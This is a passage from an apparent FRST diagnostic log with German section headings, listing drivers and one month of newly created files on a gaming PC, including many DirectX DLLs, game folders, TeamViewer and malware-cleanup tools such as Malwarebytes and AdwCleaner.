R3 Netwtw04; C:\windows\System32\drivers\Netwtw04.sys [7218176 2017-03-18] (Intel Corporation)
R3 nvlddmkm; C:\windows\System32\DriverStore\FileRepository\nvcvwu.inf_amd64_166fee8ea72cb783\nvlddmkm.sys [14456920 2017-05-18] (NVIDIA Corporation)
R3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-05-03] (NVIDIA Corporation)
R3 nvvad_WaveExtensible; C:\windows\system32\drivers\nvvad64v.sys [48248 2017-05-03] (NVIDIA Corporation)
R3 nvvhci; C:\windows\System32\drivers\nvvhci.sys [57976 2017-05-03] (NVIDIA Corporation)
R3 rt640x64; C:\windows\System32\drivers\rt640x64.sys [943112 2016-08-01] (Realtek                                            )
R3 RTSPER; C:\windows\system32\DRIVERS\RtsPer.sys [779232 2016-08-05] (Realsil Semiconductor Corporation)
S3 SDFRd; C:\windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()
R3 SmbDrvI; C:\windows\system32\DRIVERS\Smb_driver_Intel.sys [64088 2017-02-07] (Synaptics Incorporated)
S3 WdBoot; C:\windows\system32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)
S3 WdFilter; C:\windows\system32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)
S3 WdNisDrv; C:\windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
S3 AIDA64Driver; \??\C:\Users\Administrator\Desktop\XSTRA\Apps\AIDA64\kerneld.x64 [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-08 14:26 - 2017-06-08 14:26 - 00000000 ____D C:\Users\****\Desktop\Alte Firefox-Daten
2017-06-07 23:07 - 2017-06-07 23:07 - 02870984 _____ (ESET) C:\Users\****\Downloads\esetsmartinstaller_deu.exe
2017-06-07 23:03 - 2017-06-07 23:06 - 00000000 ____D C:\ProgramData\HitmanPro
2017-06-07 23:03 - 2017-06-07 23:03 - 11584088 _____ (SurfRight B.V.) C:\Users\****\Desktop\HitmanPro_x64.exe
2017-06-06 12:25 - 2017-06-07 23:01 - 00000000 ____D C:\Users\****\Desktop\FRST-OlderVersion
2017-06-06 11:41 - 2017-06-06 11:41 - 00000201 _____ C:\Users\****\Desktop\The Elder Scrolls V Skyrim.url
2017-06-06 11:39 - 2017-06-06 11:39 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games
2017-06-05 12:16 - 2017-06-06 01:28 - 00000000 ____D C:\Users\****\AppData\Local\Skyrim
2017-06-05 12:15 - 2005-03-18 17:19 - 02337488 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_25.dll
2017-06-04 16:53 - 2017-06-04 16:53 - 00000000 ____D C:\Users\****\Documents\Paradox Interactive
2017-06-04 11:45 - 2017-06-04 11:45 - 00000000 ____D C:\Users\****\AppData\Local\PAYDAY 2
2017-06-04 11:45 - 2017-06-04 11:45 - 00000000 ____D C:\Program Files (x86)\AGEIA Technologies
2017-06-03 21:45 - 2017-06-03 21:58 - 1050024768 _____ ( ) C:\Users\****\Downloads\North_and_South_First_Manassas_V1.1.exe
2017-06-03 19:07 - 2017-06-03 19:07 - 00000202 _____ C:\Users\****\Desktop\PAYDAY 2.url
2017-06-03 16:29 - 2017-06-03 16:29 - 00167470 _____ C:\Users\****\Desktop\SystemLook.txt
2017-06-03 15:52 - 2017-06-03 15:52 - 00001089 _____ C:\Users\****\Desktop\adwcleaner_6.047.exe - Verknüpfung.lnk
2017-06-03 15:51 - 2017-06-03 16:24 - 00167468 _____ C:\Users\****\Downloads\SystemLook.txt
2017-06-03 15:50 - 2017-06-03 15:50 - 00165376 _____ C:\Users\****\Desktop\SystemLook_x64.exe
2017-06-03 15:44 - 2017-06-08 14:23 - 00001279 _____ C:\Users\****\Desktop\Fixlog.txt
2017-06-03 00:41 - 2017-06-03 01:34 - 00377706 _____ C:\Users\****\Desktop\mbam.txt
2017-06-03 00:20 - 2017-06-08 14:24 - 00252832 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-03 00:20 - 2017-06-08 14:24 - 00113592 _____ (Malwarebytes) C:\windows\system32\Drivers\farflt.sys
2017-06-03 00:20 - 2017-06-08 14:24 - 00093600 _____ (Malwarebytes) C:\windows\system32\Drivers\mwac.sys
2017-06-03 00:20 - 2017-06-08 14:24 - 00044960 _____ (Malwarebytes) C:\windows\system32\Drivers\mbam.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00188312 _____ (Malwarebytes) C:\windows\system32\Drivers\MBAMChameleon.sys
2017-06-03 00:20 - 2017-06-03 00:20 - 00001918 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-03 00:20 - 2017-06-03 00:20 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-03 00:20 - 2017-05-31 11:09 - 00077376 _____ C:\windows\system32\Drivers\mbae64.sys
2017-06-03 00:19 - 2017-06-03 00:19 - 64025992 _____ (Malwarebytes ) C:\Users\****\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.139-1.0.2060.exe
2017-06-03 00:15 - 2017-06-03 00:15 - 00060223 _____ C:\Users\****\Downloads\https _de.malwarebytes.com_.htm
2017-06-03 00:08 - 2017-06-03 01:01 - 00022416 _____ C:\Users\****\Desktop\AdwCleaner[C0].txt
2017-06-03 00:07 - 2017-06-03 00:07 - 00021228 _____ C:\Users\****\Desktop\AdwCleaner[S0].txt
2017-06-03 00:05 - 2017-06-03 00:42 - 00000000 ____D C:\AdwCleaner
2017-06-03 00:04 - 2017-06-03 00:04 - 04110280 _____ C:\Users\****\Downloads\adwcleaner_6.047.exe
2017-06-02 18:02 - 2017-06-06 12:33 - 00032635 _____ C:\Users\****\Desktop\Addition.txt
2017-06-02 17:42 - 2017-06-08 14:28 - 00016456 _____ C:\Users\****\Desktop\FRST.txt
2017-06-02 17:42 - 2017-06-08 14:28 - 00000000 ____D C:\FRST
2017-06-02 17:42 - 2017-06-07 23:01 - 02435072 _____ (Farbar) C:\Users\****\Desktop\FRST64.exe
2017-06-02 17:11 - 2017-06-02 17:11 - 14383616 _____ C:\Users\****\Downloads\gta_sa.exe
2017-06-02 17:05 - 2016-12-27 04:34 - 00025432 _____ C:\windows\system32\Drivers\vcdrom.sys
2017-06-02 16:46 - 2017-06-02 16:46 - 00000201 _____ C:\Users\****\Desktop\Grand Theft Auto San Andreas.url
2017-06-02 16:38 - 2017-06-07 20:51 - 00000841 _____ C:\Users\****\Desktop\settings.ini
2017-06-02 16:38 - 2017-06-07 20:51 - 00000148 _____ C:\Users\****\Desktop\fahndungen.ini
2017-06-02 16:29 - 2016-12-28 17:32 - 00827392 _____ C:\Users\****\Desktop\SAPDBinder.exe
2017-06-02 16:27 - 2017-06-02 16:27 - 00725157 _____ C:\windows\unins000.exe
2017-06-02 16:26 - 2017-06-02 16:26 - 00001118 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00001106 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-06-02 16:26 - 2017-06-02 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:28 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-06-02 16:25 - 2017-06-02 16:25 - 15507008 _____ (TeamViewer GmbH) C:\Users\****\Downloads\TeamViewer_Setup.exe
2017-06-02 16:14 - 2017-06-02 16:27 - 00006598 _____ C:\windows\unins000.dat
2017-06-01 22:05 - 2017-06-01 22:05 - 00004000 _____ C:\windows\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-06-01 22:05 - 2017-05-03 21:28 - 00001951 _____ C:\windows\NvTelemetryContainerRecovery.bat
2017-06-01 22:04 - 2017-05-03 22:21 - 00143480 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvaudcap32v.dll
2017-06-01 20:50 - 2017-06-01 20:50 - 00000000 ____D C:\Users\****\AppData\Local\ElevatedDiagnostics
2017-06-01 18:03 - 2017-06-01 19:56 - 00000000 ____D C:\Donads-Keybinder
2017-06-01 17:57 - 2017-06-01 17:57 - 00417280 _____ C:\Users\****\Desktop\Donads_Keybinder.exe
2017-05-31 21:59 - 2017-05-31 22:22 - 00000795 _____ C:\Users\****\Desktop\Daten.ini
2017-05-31 21:59 - 2017-03-31 16:15 - 00808448 _____ C:\Users\****\Desktop\FIB.exe
2017-05-31 20:56 - 2017-05-31 20:56 - 00000000 ____D C:\windows\San Andreas Mod Installer
2017-05-31 20:08 - 2017-05-31 20:08 - 00000000 ____D C:\Program Files (x86)\VulkanRT
2017-05-31 20:08 - 2017-05-01 22:14 - 00134592 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvStreaming.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00536864 _____ C:\windows\system32\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00525600 _____ C:\windows\SysWOW64\vulkan-1.dll
2017-05-31 20:08 - 2017-03-10 23:17 - 00254240 _____ C:\windows\system32\vulkaninfo.exe
2017-05-31 20:08 - 2017-03-10 23:17 - 00233760 _____ C:\windows\SysWOW64\vulkaninfo.exe
2017-05-31 18:59 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband Savegames
2017-05-31 15:30 - 2017-05-31 15:30 - 00000000 ____D C:\Users\****\AppData\Local\Arktos Entertainment
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\Documents\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\FredaikisAB
2017-05-31 15:29 - 2017-05-31 15:29 - 00000000 ____D C:\Users\****\AppData\Local\CrashRpt
2017-05-31 14:55 - 2017-05-31 15:09 - 00000000 ____D C:\windows\SysWOW64\directx
2017-05-31 14:55 - 2017-05-31 14:55 - 00292184 _____ (Microsoft Corporation) C:\Users\****\Downloads\dxwebsetup.exe
2017-05-31 14:27 - 2017-05-31 14:27 - 00000000 ____D C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\San Andreas Multiplayer
2017-05-31 14:26 - 2017-05-31 15:12 - 00000000 ____D C:\Users\****\Documents\GTA San Andreas User Files
2017-05-31 14:26 - 2015-04-27 04:50 - 00412672 _____ C:\Users\****\Desktop\samp.exe
2017-05-31 13:59 - 2017-05-31 14:02 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA
2017-05-31 13:47 - 2017-05-31 13:48 - 16270006 _____ C:\Users\****\Downloads\sa-mp-0.3.7-install.exe
2017-05-31 13:45 - 2017-05-31 19:00 - 00000000 ____D C:\Users\****\Documents\Mount&Blade Warband
2017-05-31 13:45 - 2017-05-31 18:59 - 00000000 ____D C:\Users\****\AppData\Roaming\Mount&Blade Warband
2017-05-30 22:47 - 2017-05-30 22:47 - 00000200 _____ C:\Users\****\Desktop\Garry's Mod.url
2017-05-30 22:16 - 2017-05-30 22:16 - 00000202 _____ C:\Users\****\Desktop\Tabletop Simulator.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Stellaris.url
2017-05-30 22:15 - 2017-05-30 22:15 - 00000202 _____ C:\Users\****\Desktop\Men of War Assault Squad 2.url
2017-05-30 22:13 - 2017-05-30 22:13 - 00000201 _____ C:\Users\****\Desktop\Men of War Assault Squad.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000201 _____ C:\Users\****\Desktop\Anno 1404.url
2017-05-30 22:12 - 2017-05-30 22:12 - 00000199 _____ C:\Users\****\Desktop\Counter-Strike Global Offensive.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Infestation The New Z.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000202 _____ C:\Users\****\Desktop\Europa Universalis IV.url
2017-05-30 22:11 - 2017-05-30 22:11 - 00000201 _____ C:\Users\****\Desktop\The Guild II Renaissance.url
2017-05-30 22:03 - 2010-06-02 04:55 - 00527192 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00518488 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00239960 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_7.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00077656 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-06-02 04:55 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_5.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02526056 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 02106216 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01907552 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_43.dll
2017-05-30 22:03 - 2010-05-26 11:41 - 01868128 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_43.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00530776 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00528216 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00176984 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_6.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00078680 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00074072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_4.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_7.dll
2017-05-30 22:03 - 2010-02-04 10:01 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_7.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00517960 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00515416 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00238936 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00176968 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_5.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00073544 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:44 - 00069464 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_3.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05554512 _____ (Microsoft Corporation) C:\windows\system32\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 05501792 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dcsx_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02582888 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 02475352 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01974616 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 01892184 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00523088 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00285024 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_42.dll
2017-05-30 22:03 - 2009-09-04 17:29 - 00235344 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_42.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00521560 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00517448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00235352 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00174936 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_4.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00024920 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-16 14:18 - 00022360 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_6.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 05425496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 04178264 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 02430312 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 01846632 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00520544 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_41.dll
2017-05-30 22:03 - 2009-03-09 15:27 - 00453456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_41.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00518480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00514384 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00235856 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00175440 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_3.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00074576 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00070992 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_2.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00025936 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-27 10:04 - 00023376 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_5.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 05631312 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 04379984 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02605920 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 02036576 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00519000 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_40.dll
2017-05-30 22:03 - 2008-10-15 06:22 - 00452440 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_40.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_2.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00072200 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:41 - 00068616 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_1.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00513544 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-31 10:40 - 00509448 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_2.dll
2017-05-30 22:03 - 2008-07-10 11:01 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 04992520 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 03851784 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01942552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 01493528 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_39.dll
2017-05-30 22:03 - 2008-07-10 11:00 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_39.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00511496 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:19 - 00507400 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:18 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_1.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00068104 _____ (Microsoft Corporation) C:\windows\system32\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00065032 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAPOFX1_0.dll
2017-05-30 22:03 - 2008-05-30 14:17 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:16 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_4.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 04991496 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 03850760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01941528 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 01491992 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00540688 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_38.dll
2017-05-30 22:03 - 2008-05-30 14:11 - 00467984 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_38.dll
2017-05-30 22:03 - 2008-03-05 16:04 - 00489480 _____ (Microsoft Corporation) C:\windows\system32\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00479752 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00238088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:03 - 00177672 _____ (Microsoft Corporation) C:\windows\system32\xactengine3_0.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00028168 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 16:00 - 00025608 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_3.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 04910088 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 03786760 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01860120 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-03-05 15:56 - 01420824 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00529424 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_37.dll
2017-05-30 22:03 - 2008-02-05 23:07 - 00462864 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_37.dll
2017-05-30 22:03 - 2007-10-22 03:40 - 00411656 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:39 - 00267272 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_10.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00021000 _____ (Microsoft Corporation) C:\windows\system32\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-22 03:37 - 00017928 _____ (Microsoft Corporation) C:\windows\SysWOW64\X3DAudio1_2.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 05081608 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 03734536 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 02006552 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-12 15:14 - 01374232 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_36.dll
2017-05-30 22:03 - 2007-10-02 09:56 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_36.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00411496 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-20 00:57 - 00267112 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_9.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 05073256 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 03727720 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01985904 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 01358192 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00508264 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_35.dll
2017-05-30 22:03 - 2007-07-19 18:14 - 00444776 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_35.dll
2017-05-30 22:03 - 2007-06-20 20:49 - 00409960 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_8.dll
2017-05-30 22:03 - 2007-06-20 20:46 - 00266088 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_8.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 04496232 _____ (Microsoft Corporation) C:\windows\system32\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 03497832 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx9_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01401200 _____ (Microsoft Corporation) C:\windows\system32\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 01124720 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DCompiler_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_34.dll
2017-05-30 22:03 - 2007-05-16 16:45 - 00443752 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_34.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00403304 _____ (Microsoft Corporation) C:\windows\system32\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:55 - 00261480 _____ (Microsoft Corporation) C:\windows\SysWOW64\xactengine2_7.dll
2017-05-30 22:03 - 2007-04-04 18:54 - 00107368 _____ (Microsoft Corporation) C:\windows\system32\xinput1_3.dll
2017-05-30 22:03 - 2007-04-04 18:53 - 00081768 _____ (Microsoft Corporation) C:\windows\SysWOW64\xinput1_3.dll
2017-05-30 22:03 - 2007-03-15 16:57 - 00506728 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_33.dll
